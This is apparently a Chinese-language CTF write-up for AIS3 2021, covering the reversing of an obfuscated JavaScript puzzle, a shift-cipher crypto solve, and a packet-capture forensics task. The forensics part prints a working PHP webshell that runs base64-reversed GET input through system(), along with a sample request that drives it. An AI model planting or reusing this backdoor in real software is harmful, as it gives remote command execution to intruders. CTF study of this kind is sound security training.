MC41LTExLjQsMTQuMi0yMS45OyBNNjcuMSwxMDkuNWMtOS42LDAtMjMuNi04LjgtMjMuNi0yNGMwLTEyLjEsMTcuOC00MSwzNy41LTQxYzE1LjYsMCwyMy4zLDEwLjYsMjUuMSwyMC41IGMxLjksMTAuNywzLjksOC4yLDMuOSwxOS41YzAsOC4yLTMuOCwxNy0zLjgsMjIuM2MwLDMuOSwxLjQsNy40LDIuOSwxMC41YzEuNywzLjUsMi40LDYuNiwyLjQsOS4ySDkuNWMwLTEzLjcsMTAuOC0xNCwyMS4xLTIzIGM1LjYtNC45LDExLTEyLjQsMTQuNS0yNiAiPjwvYW5pbWF0ZT48L3BhdGg+PHBhdGggaWQ9ImJlYWsiIGZpbGw9IiM3YjhjNjgiPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9ImQiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IiBNNzguMjksNzBjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzc4LjI5LDg1LjUsNzguMjksNzBaOyBNNjIuMjksNjRjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzYyLjI5LDc5LjUsNjIuMjksNjRaOyBNNDguMjksNjdjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzQ4LjI5LDgyLjUsNDguMjksNjdaOyBNMzYuMjksNzNjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzM2LjI5LDg4LjUsMzYuMjksNzNaOyBNMzUuMjksNzVjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzM1LjI5LDkwLjUsMzUuMjksNzVaOyBNNDEuMjksODFjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzQxLjI5LDk2LjUsNDEuMjksODFaOyBNNTkuMjksODRjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzU5LjI5LDk5LjUsNTkuMjksODRaOyBNNzIuMjksODljMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzcyLjI5LDEwNC41LDcyLjI5LDg5WjsgTTgwLjI5LDgyYzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M4MC4yOSw5Ny41LDgwLjI5LDgyWjsgTTg3LjI5LDc4YzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M4Ny4yOSw5My41LDg3LjI5LDc4WjsgTTc4LjI5LDcwYzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M3OC4yOSw4NS41LDc4LjI5LDcwWiAiPjwvYW5pbWF0ZT48L3BhdGg+PGVsbGlwc2UgaWQ9ImV5ZS1yaWdodCIgcng9IjMiIHJ5PSI0Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJjeCIgZHVyPSI1MDBtcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGtleVRpbWVzPSIwOzAuMTswLjI7MC4zOzAuNDswLjU7MC42OzAuNzswLjg7MC45OzEiIHZhbHVlcz0iMTAwOzg0OzcwOzU4OzU3OzYzOzgxOzk0OzEwMjsxMDk7MTAwIj48L2FuaW1hdGU+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iY3kiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IjYyOzU2OzU5OzY1OzY3OzczOzc2OzgxOzc0OzcwOzYyIj48L2FuaW1hdGU+PC9lbGxpcHNlPjxlbGxpcHNlIGlkPSJleWUtbGVmdCIgcng9IjMiIHJ5PSI0Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJjeCIgZHVyPSI1MDBtcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGtleVRpbWVzPSIwOzAuMTswLjI7MC4zOzAuNDswLjU7MC42OzAuNzswLjg7MC45OzEiIHZhbHVlcz0iNjcuNTs1MS41OzM3LjU7MjUuNTsyNC41OzMwLjU7NDguNTs2MS41OzY5LjU7NzYuNTs2Ny41Ij48L2FuaW1hdGU+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iY3kiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IjYyOzU2OzU5OzY1OzY3OzczOzc2OzgxOzc0OzcwOzYyIj48L2FuaW1hdGU+PC9lbGxpcHNlPjwvc3ZnPjwvZGl2Pg=="
        19: "131837PcDnWL"
        20: "19pQimXL"
        21: "623605MIswVM"
        22: "charCodeAt"
        23: "join"
        24: "4WsUYDr"
        25: "686oWrfyq"
        26: "body"
        27: "map"
        28: "getElementById"
        29: "textContent"
        30: "match"
        31: "key"
        32: "302349wKdZHP"
        33: "4OYJFlQ"
        34: "input"
        length: 35
        __proto__: Array(0)
     */
    (() => {
        const _getArrData = getArrData,
            arr_18 = _getArrData(472),
            arr_4 = _getArrData(458),
            flag = _getArrData(468),
            eight = 8,
            ten = 10;
        let input, zero = 0;

        function _0xce93(param) {
            console.log(`param: ${param}`)
            // const __getArrData = _getArrData;
            if (!param['length']) {
                return '';
            }
            let str1 = '',
                str2 = '',
                int1 = 0;
            for (let i = 0; i < param['length']; i++) {
                // 把param每一位轉成二進位,且不足8位就在前面用0填充
                str1 += param['charCodeAt'](i)['toString'](2)['padStart'](8, '0');
            }
            console.log(`str1 at first: ${str1}`)
            // param * 8 % 10 / 2 - 1
            int1 = str1['length'] % ten / 2 - 1;
            console.log(`int1 at first: ${int1}`)
            if (int1 !== -1) {
                // 填充0到後面讓int1等於-1,也就是要讓str1長度是10的倍數
                str1 += '0'['repeat'](ten - str1['length'] % ten);
            }
            console.log(`str1 at second: ${str1}`)
            // 每10位切開,變一個陣列
            str1 = str1['match'](/(.{1,10})/g);
            console.log(`str1 at third: ${str1}`)
            for (let item of str1) {
                // 二進位換成十進位
                let dec = parseInt(item, 2);
                str2 += fun1(dec >> 6 & 7, dec >> 9, atob(flag)[dec & 63]);
            }
            console.log(`str2 at first: ${str2}`)
            for (; int1 > 0; int1--) {
                str2 += fun1(int1 % eight, 0, '=');
            }
            console.log(`str2 at second: ${str2}`)
            return str2;
        }

        let fun1 = (param1, param2, param3) => '<span><div class="c' + param1 + ' r' + param2 + '">' + param3 + '</div></span>',
            fun2 = param1 => document['getElementById']('output')['innerHTML'] = _0xce93(param1);
        document['addEventListener']('keydown'),
            keyPressed => {
                // const __getArrData = _getArrData;
                if (keyPressed['key'] === 'Backspace' && zero == 10) {
                    input['textContent'] = input['textContent']['substr'](0, input['textContent']['length'] - 1);
                } else {
                    if (keyPressed['key'] === 'ArrowUp' && !(zero >> 1)) {
                        return zero += 1;
                    } else {
                        if (keyPressed['key'] === 'ArrowDown' && !(zero >> 2))
                            return zero += 0x1;
                        else {
                            if (keyPressed['key'] === 'ArrowLeft' && (zero == 4 || zero == 6))
                                return zero += 0x1;
                            else {
                                if (keyPressed['key'] === 'ArrowRight' && (zero == 5 || zero == 7))
                                    return zero += 0x1;
                                else {
                                    if (keyPressed['key'] === 'b' && zero == 8)
                                        return zero += 0x1;
                                    else {
                                        if (keyPressed['key'] === 'a' && zero == 9)
                                            return document['getElementsByTagName']('body')[0]['innerHTML'] += atob(arr_18),
                                                input = document['getElementById']('input'),
                                                input['innerHTML'] = '',
                                                document['getElementById']('output')['innerHTML'] = atob(arr_4)['match'](/(.{1,3})/g)['map'](_0x5efa9e => fun1(_0x5efa9e[0x0], _0x5efa9e[0x1], _0x5efa9e[0x2]))['join'](''), zero += 0x1;
                                        else {
                                            if (keyPressed['key']['length'] == 1 && zero == 10)
                                                input['textContent'] += String['fromCharCode'](keyPressed['key']['charCodeAt']());
                                            else
                                                return;
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
                fun2(input['textContent']);
            };
    })());

當輸入上上下下左右左右BA會印出經過_0xce93()編碼後的flag:

output = document.getElementById('output')
res = []
for (let element of output.getElementsByTagName('span')) {
  res.push(element.innerText)
}

console.log(res.join(''))
BgiJ6\w1Aj\1guikl7xiXKIhXKil6fo65Kn87B-8warzK===

_0xce93()大概的流程是:

  • 把param每一位轉成二進位,且不足8位就在前面用0填充
  • 當上一步的長度%10不等於0就填充0到後面,讓str1長度是10的倍數
  • 把str1每10位切開,變一個陣列
  • 然後把陣列每個元素從2進位轉回10進位
  • 會印出dec >> 6 & 7, dec >> 9, dec & 63
  • 最後再填充=

雖然中間的&是不可逆的,但是70000000111630000111111,所以可以根據b1推出第2~4位,b3推出後6位,b2 的>>9剛好算出第一位,就可以逆推回去,最後再把padding補的0刪掉,轉回字串就出現flag了

最終code:

f = 'AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}';
c = 'BgiJ6\\w1Aj\\1guikl7xiXKIhXKil6fo65Kn87B-8warzK===';
source = []

for (let item of c) {
  source.push(f.indexOf(item))
}

output = document.getElementById('output')
res = []
divs = output.getElementsByTagName('div')
for (let i = 0; i < divs.length; i++) {
  // 去掉3個=
  if (source[i] !== -1) {
    res.push([
      parseInt(divs[i]['className'].match(/c(\d+)/)[1]),
      parseInt(divs[i]['className'].match(/r(\d+)/)[1]),
      source[i],
    ]);
  }
}

console.log(res);


function reverseToBinary(b1, b2, b3) {
  // b1推2-4位
  // b2推第1位
  // b3推後6位

  // b2就是第1位
  let first = b2

  // 2-4位
  let twoToFour = ''
  let sevenBin = '0111'
  b1 = b1.toString(2).padStart(4, '0')
  for (let i = 1; i < b1.length; i++) {
    if (b1[i] === '1' && sevenBin[i] === '1') {
      twoToFour += '1';
    }
    if (b1[i] === '0' && sevenBin[i] === '0') {
      twoToFour += '1';
    }
    if (b1[i] === '1' && sevenBin[i] === '0') {
      twoToFour += '0';
    }
    if (b1[i] === '0' && sevenBin[i] === '1') {
      twoToFour += '0';
    }
  }
  // console.log(twoToFour)

  // 後六位
  let lastSix = '';
  let sixThreeBin = '111111';
  b3 = b3.toString(2).padStart(6, 0);
  for (let i = 0; i < b3.length; i++) {
    if (b3[i] === '1' && sixThreeBin[i] === '1') {
      lastSix += '1';
    }
    if (b3[i] === '0' && sixThreeBin[i] === '0') {
      lastSix += '1';
    }
    if (b3[i] === '1' && sixThreeBin[i] === '0') {
      lastSix += '0';
    }
    if (b3[i] === '0' && sixThreeBin[i] === '1') {
      lastSix += '0';
    }
  }
  // console.log(lastSix);
  let fix = first + twoToFour + lastSix
  //   console.log(fix);
  return fix;
}

let reverse = ''

for (let i of res) {
  //   console.log(i[0], i[1], i[2]);
  reverse += reverseToBinary(i[0], i[1], i[2]);
}

console.log(reverse);
// 去掉padding的0
reverse = reverse.substr(0, reverse.length - reverse.length % 8);
console.log(reverse);

// 轉換成字串
function bin2str(text) {
  var output = "";
  for (var i = 0; i < text.length; i += 8) {
    var c = 0;
    for (var j = 0; j < 8; j++) {
      c <<= 1;
      c |= parseInt(text[i + j]);
    }
    output += String.fromCharCode(c);
  }
  return output;
}
let final = bin2str(reverse);
console.log(final);

Crypto

Microchip

可以先從output逆出keys[]

((ord('A') - 32) + x) % 96 + 32 = ord('&') and 96 > x > 0
(33+x)%96+32 = 38
(33+x)%96 = 6
33+x = 96+6 = 102
x = 69

((ord('I') - 32) + x) % 96 + 32 = ord('s') and 96 > x > 0
(41+x)%96 = 83
x = 42

((ord('S') - 32) + x) % 96 + 32 = ord('J') and 96 > x > 0
(51+x)%96 = 42
x = 87

((ord('3') - 32) + x) % 96 + 32 = ord('=') and 96 > x > 0
(19+x)%96 = 29
x = 10

然後題目是

result += chr(nums[3])
result += chr(nums[2])
result += chr(nums[1])
result += chr(nums[0])

所以要把keys再reverse一下,最後每4位再reverse回來就可以了

import re


def reverse_flag(secret):
    # keys = [92, 1, 32, 83]
    keys = [69, 42, 87, 10]
    keys.reverse()
    result = ''
    final = ''
    for i in range(0, len(secret)):
        result += get_str(secret[i], keys[i % 4])
    result = re.findall('....', result)
    for _ in result:
        _ = _[::-1]
        final += _
    print(final)


def get_str(char, key):
    n2 = ord(char) - 32
    if key > n2:
        n1 = 96 + n2 - key
    else:
        n1 = n2 - key
    return chr(n1 + 32)


if __name__ == '__main__':
    output = '''=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu'''
    reverse_flag(output)

後面的22是padding

Misc

[震撼彈] AIS3 官網疑遭駭!

filter直接下http,會看到很多request都指向index.php?page=b64('ls .'),但是response都沒看見*.php之類的內容,所以猜測是故意混淆的,filter改成http contains ".php",跑出一個Response的封包,直接follow進去

GET /Index.php?page=%3DogLgMHb HTTP/1.1
Host: magic.ais3.org:8100
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0, no-cache
Pragma: no-cache

HTTP/1.1 200 OK
Server: nginx/1.19.10
Date: Sun, 16 May 2021 10:58:20 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.4.3

14
Index.php
index.php

0

真正的webshell隱藏在Index.phpIndex.php?page=reverse(b64('ls .')),很明顯是要我們找到這台server,而題目統一都是quiz.ais3.org,不過這邊要注意的是Host必須是magic.ais3.org才會執行

<?php
if(!isset($_GET["page"])){
    exit(0);
}

$cmd = $_GET["page"];
$cmd = base64_decode(strrev($cmd));

system($cmd);

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *